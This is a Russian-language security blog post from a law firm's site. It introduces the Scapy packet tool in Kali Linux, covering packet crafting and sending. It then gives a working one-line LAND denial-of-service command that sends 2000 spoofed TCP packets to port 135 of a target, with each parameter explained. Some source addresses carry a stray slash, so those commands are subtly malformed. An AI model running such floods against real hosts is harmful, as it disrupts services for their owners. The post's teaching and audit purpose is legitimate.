Москва
+7-929-527-81-33
Вологда
+7-921-234-45-78
Вопрос юристу онлайн Юридическая компания ЛЕГАС Вконтакте

Scapy - универсальное средство для реализации сетевых атак.

Обновлено 17.09.2025 06:50

Петухов Олег, юрист в области международного права и защиты персональных данных, специалист в области информационной безопасности, защиты информации и персональных данных.

Телеграм-канал: https://t.me/zashchitainformacii

Группа в Телеграм: https://t.me/zashchitainformacii1

Сайт: https://legascom.ru

Электронная почта: online@legascom.ru

 

#защитаинформации #информационнаябезопасность

Перед тем как начать рассмотрение типов сетевых атак, я хотел бы познакомить читателя с еще одним интересным и гибким инструментом, входящим в состав Kali Linux, каковым является утилита Scapy. Эта гибкая и функциональная утилита написана на языке Python. Данная утилита предназначена для осуществления манипуляций с сетевыми пакетами. С ее помощью можно собрать IP-пакет нужной структуры, необходимой для проведения сетевых атак.

Прежде чем начать работу с Scapy, Вам необходимо вспомнить структуру IP-пакета.

Работая с утилитой Scapy, мы будем самостоятельно заполнять данные поля необходимой информацией.

Итак, запустим Scapy.

root@kali:~# scapy

>>> 

После запуска утилиты приглашением для ввода является «>>>«. Наличие данного приглашения говорит о том, что Scapy находится в интерактивном режиме и все вводимые команды будут интерпретироваться утилитой.

Для начала посмотрим текущую конфигурацию.

>>> conf

Команда conf выводит на экран текущие настройки из файла конфигураций.

Теперь нам необходимо создать свой пакет. Как известно, стек TCP/IP в различных ОС строится на соответствии стандартам RFC, определяющим сетевоевзаимодействие. Но для проведения различных атак создаваемые пакеты не всегда должны полностью соответствовать стандартам RFC.

В Scapy прежде всего необходимо определить нужные переменные и атрибуты пакета. Так, переменная х у нас будет определять значение ttl пакета, равное 64.

>>> x=IP(ttl=64)

>>> x

Далее добавим дополнительные атрибуты нашему пакету. Прежде всего нам нужны адреса отправителя и получателя. В примере ниже отправитель 192.168.1.101, а получатель 192.168.1.122.

>>> x.src="/192.168.1.101"

>>> x.dst="192.168.1.122"

Проверить текущие значения переменной x можно, просто указав имя данной переменной в интерпретаторе.

>>> x

Кроме этого, Scapy имеет множество встроенных функций. Узнать эти функции можно с помощью команды lsc.

>>> lsc()

В качестве еще одного примера воспользуемся командой «send». Данная команда используется, когда нам необходимо отправить пакет. В качестве примера попробуем отправить пакет, который мы создали в переменной x.

>>> send(x)

Как видно, наш специально созданный пакет был отправлен на адрес получателя. Аналогичным образом можно указать и другие параметры IP-пакета, такие как window_size, flags, fragmentation, acknowledgement, sequence number.

Теперь проведем с помощью Scapy небольшую DDoS-атаку. Допустим, у нас имеется целевая система, работающая под управлением Windows Server 2003 (как ни странно, до сих пор сотни тысяч серверов работают под управлением данной ОС) и уязвимая к атаке типа «land». Эта DoS-атака заключается в отправке большого количества пакетов с одинаковыми IP-адресами и портами отправителя и получателя. В результате выполнения данной атаки машина не обязательно зависнет, но замедление в работе системы обязательно произойдет. К примеру, для веб-серверов такая атака может оказаться критичной.

С помощью Scapy данную атаку можно реализовать следующим образом.

>>> send(IP(src="/192.168.1.122", dst="192.168.1.122")/TCP(sport=135,dport=135), count=2000)

В данном примере:

send – отправка пакета;

IP – используемый протокол;

src="/192.168.1.122" – источник пакета;

dst="192.168.1.122" – приемник пакета;

TCP – протокол транспортного уровня;

sport=135 – порт источника;

dport=135 – порт получателя;

count=2000 – число пакетов, которое мы хотим отправить.

Scapy - это не только средство для реализации атак на отказ в обслуживании.

С помощью данной утилиты можно сконструировать любой пакет с нужнымиполями и содержимым. Поэтому я бы рекомендовал использовать данный инструмент при проведении аудитов информационной безопасности.

В следующих постах мы вернемся к рассмотрению атак на сетевом уровне.